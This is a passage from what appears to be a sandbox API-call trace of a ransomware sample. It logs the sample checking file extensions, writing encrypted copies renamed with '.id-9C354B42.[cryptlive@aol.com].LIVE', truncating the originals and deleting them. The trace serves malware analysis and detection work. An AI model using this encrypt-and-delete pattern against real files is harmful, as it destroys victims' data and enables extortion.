Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0146.355] lstrlenW (lpString=".zip") returned 4 [0146.355] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0146.355] lstrlenW (lpString=".rar") returned 4 [0146.355] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0146.355] lstrlenW (lpString=".bz2") returned 4 [0146.355] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0146.355] lstrlenW (lpString=".7z") returned 3 [0146.355] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0146.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0146.355] lstrlenW (lpString=".dbf") returned 4 [0146.355] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0146.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0146.355] lstrlenW (lpString=".1cd") returned 4 [0146.355] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0146.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0146.355] lstrlenW (lpString=".jpg") returned 4 [0146.356] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0146.356] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0146.356] lstrlenW (lpString="VALVE.VRD") returned 9 [0146.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0146.406] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1868) returned 1 [0146.406] CloseHandle (hObject=0x3d8) returned 1 [0146.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd")) returned 0x20 [0146.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0146.422] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.422] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0146.423] GetLastError () returned 0x0 [0146.423] ReadFile (in: hFile=0x3d8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x74c, lpOverlapped=0x0) returned 1 [0146.459] WriteFile (in: hFile=0x3a4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x750, lpOverlapped=0x0) returned 1 [0146.460] ReadFile (in: hFile=0x3d8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.460] WriteFile (in: hFile=0x3a4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0146.460] SetEndOfFile (hFile=0x3a4) returned 1 [0146.460] CloseHandle (hObject=0x3a4) returned 1 [0146.460] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.461] SetEndOfFile (hFile=0x3d8) returned 1 [0146.462] CloseHandle (hObject=0x3d8) returned 1 [0146.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd")) returned 1 [0146.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0146.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0146.464] lstrlenW (lpString=".doc") returned 4 [0146.464] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0146.464] lstrlenW (lpString=".docx") returned 5 [0146.464] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0146.464] lstrlenW (lpString=".pdf") returned 4 [0146.464] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0146.464] lstrlenW (lpString=".xls") returned 4 [0146.464] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0146.464] lstrlenW (lpString=".xlsx") returned 5 [0146.464] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0146.464] lstrlenW (lpString=".ppt") returned 4 [0146.464] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0146.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0146.464] lstrlenW (lpString=".zip") returned 4 [0146.464] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0146.464] lstrlenW (lpString=".rar") returned 4 [0146.464] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0146.464] lstrlenW (lpString=".bz2") returned 4 [0146.464] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0146.464] lstrlenW (lpString=".7z") returned 3 [0146.464] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0146.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0146.464] lstrlenW (lpString=".dbf") returned 4 [0146.464] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0146.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0146.464] lstrlenW (lpString=".1cd") returned 4 [0146.464] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0146.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0146.465] lstrlenW (lpString=".jpg") returned 4 [0146.465] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0146.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0146.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0146.465] lstrlenW (lpString=".doc") returned 4 [0146.465] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0146.465] lstrlenW (lpString=".docx") returned 5 [0146.465] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0146.465] lstrlenW (lpString=".pdf") returned 4 [0146.465] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0146.465] lstrlenW (lpString=".xls") returned 4 [0146.465] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0146.465] lstrlenW (lpString=".xlsx") returned 5 [0146.465] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0146.465] lstrlenW (lpString=".ppt") returned 4 [0146.465] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0146.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0146.465] lstrlenW (lpString=".zip") returned 4 [0146.465] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0146.465] lstrlenW (lpString=".rar") returned 4 [0146.465] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0146.465] lstrlenW (lpString=".bz2") returned 4 [0146.465] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0146.465] lstrlenW (lpString=".7z") returned 3 [0146.465] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0146.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0146.465] lstrlenW (lpString=".dbf") returned 4 [0146.465] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0146.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0146.465] lstrlenW (lpString=".1cd") returned 4 [0146.465] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0146.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0146.465] lstrlenW (lpString=".jpg") returned 4 [0146.465] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0146.466] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0146.466] lstrlenW (lpString="VISIO.DEV.HXS") returned 13 [0146.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0146.466] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5802528) returned 1 [0146.466] CloseHandle (hObject=0x3d8) returned 1 [0146.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs")) returned 0x20 [0146.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.467] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0146.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0146.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0146.467] lstrlenW (lpString=".doc") returned 4 [0146.467] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0146.467] lstrlenW (lpString=".docx") returned 5 [0146.467] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0146.467] lstrlenW (lpString=".pdf") returned 4 [0146.467] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0146.467] lstrlenW (lpString=".xls") returned 4 [0146.467] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0146.467] lstrlenW (lpString=".xlsx") returned 5 [0146.467] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0146.467] lstrlenW (lpString=".ppt") returned 4 [0146.467] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0146.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0146.467] lstrlenW (lpString=".zip") returned 4 [0146.467] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0146.467] lstrlenW (lpString=".rar") returned 4 [0146.467] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0146.467] lstrlenW (lpString=".bz2") returned 4 [0146.467] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0146.467] lstrlenW (lpString=".7z") returned 3 [0146.467] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0146.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0146.467] lstrlenW (lpString=".dbf") returned 4 [0146.467] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0146.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0146.467] lstrlenW (lpString=".1cd") returned 4 [0146.467] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0146.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0146.467] lstrlenW (lpString=".jpg") returned 4 [0146.467] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0146.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0146.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0146.468] lstrlenW (lpString=".doc") returned 4 [0146.468] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0146.468] lstrlenW (lpString=".docx") returned 5 [0146.468] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0146.468] lstrlenW (lpString=".pdf") returned 4 [0146.468] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0146.468] lstrlenW (lpString=".xls") returned 4 [0146.468] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0146.468] lstrlenW (lpString=".xlsx") returned 5 [0146.468] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0146.468] lstrlenW (lpString=".ppt") returned 4 [0146.468] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0146.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0146.468] lstrlenW (lpString=".zip") returned 4 [0146.468] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0146.468] lstrlenW (lpString=".rar") returned 4 [0146.468] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0146.468] lstrlenW (lpString=".bz2") returned 4 [0146.468] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0146.468] lstrlenW (lpString=".7z") returned 3 [0146.468] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0146.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0146.468] lstrlenW (lpString=".dbf") returned 4 [0146.468] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0146.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0146.468] lstrlenW (lpString=".1cd") returned 4 [0146.468] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0146.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0146.468] lstrlenW (lpString=".jpg") returned 4 [0146.468] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0146.469] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0146.469] lstrlenW (lpString="VISIO.DEV_COL.HXC") returned 17 [0146.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0146.469] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=641) returned 1 [0146.469] CloseHandle (hObject=0x3d8) returned 1 [0146.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc")) returned 0x20 [0146.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0146.470] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.470] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0146.470] GetLastError () returned 0x0 [0146.470] ReadFile (in: hFile=0x3d8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x281, lpOverlapped=0x0) returned 1 [0146.508] WriteFile (in: hFile=0x3a4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x290, lpOverlapped=0x0) returned 1 [0146.509] ReadFile (in: hFile=0x3d8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.509] WriteFile (in: hFile=0x3a4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0146.509] SetEndOfFile (hFile=0x3a4) returned 1 [0146.509] CloseHandle (hObject=0x3a4) returned 1 [0146.510] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.510] SetEndOfFile (hFile=0x3d8) returned 1 [0146.512] CloseHandle (hObject=0x3d8) returned 1 [0146.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc")) returned 1 [0146.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0146.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0146.513] lstrlenW (lpString=".doc") returned 4 [0146.513] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0146.513] lstrlenW (lpString=".docx") returned 5 [0146.513] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0146.513] lstrlenW (lpString=".pdf") returned 4 [0146.513] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0146.513] lstrlenW (lpString=".xls") returned 4 [0146.513] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0146.513] lstrlenW (lpString=".xlsx") returned 5 [0146.513] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0146.513] lstrlenW (lpString=".ppt") returned 4 [0146.513] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0146.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0146.513] lstrlenW (lpString=".zip") returned 4 [0146.513] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0146.513] lstrlenW (lpString=".rar") returned 4 [0146.513] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0146.513] lstrlenW (lpString=".bz2") returned 4 [0146.513] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0146.513] lstrlenW (lpString=".7z") returned 3 [0146.513] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0146.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0146.513] lstrlenW (lpString=".dbf") returned 4 [0146.513] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0146.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0146.513] lstrlenW (lpString=".1cd") returned 4 [0146.513] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0146.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0146.513] lstrlenW (lpString=".jpg") returned 4 [0146.513] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0146.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0146.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0146.514] lstrlenW (lpString=".doc") returned 4 [0146.514] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0146.514] lstrlenW (lpString=".docx") returned 5 [0146.514] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0146.514] lstrlenW (lpString=".pdf") returned 4 [0146.514] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0146.514] lstrlenW (lpString=".xls") returned 4 [0146.514] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0146.514] lstrlenW (lpString=".xlsx") returned 5 [0146.514] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0146.514] lstrlenW (lpString=".ppt") returned 4 [0146.514] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0146.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0146.514] lstrlenW (lpString=".zip") returned 4 [0146.514] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0146.514] lstrlenW (lpString=".rar") returned 4 [0146.514] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0146.514] lstrlenW (lpString=".bz2") returned 4 [0146.514] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0146.514] lstrlenW (lpString=".7z") returned 3 [0146.514] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0146.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0146.514] lstrlenW (lpString=".dbf") returned 4 [0146.514] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0146.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0146.514] lstrlenW (lpString=".1cd") returned 4 [0146.514] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0146.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0146.514] lstrlenW (lpString=".jpg") returned 4 [0146.514] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0146.514] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0146.515] lstrlenW (lpString="VISIO.DEV_COL.HXT") returned 17 [0146.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.915] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=209) returned 1 [0146.916] CloseHandle (hObject=0x38c) returned 1 [0146.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt")) returned 0x20 [0146.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.917] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.917] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0146.918] GetLastError () returned 0x0 [0146.918] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, 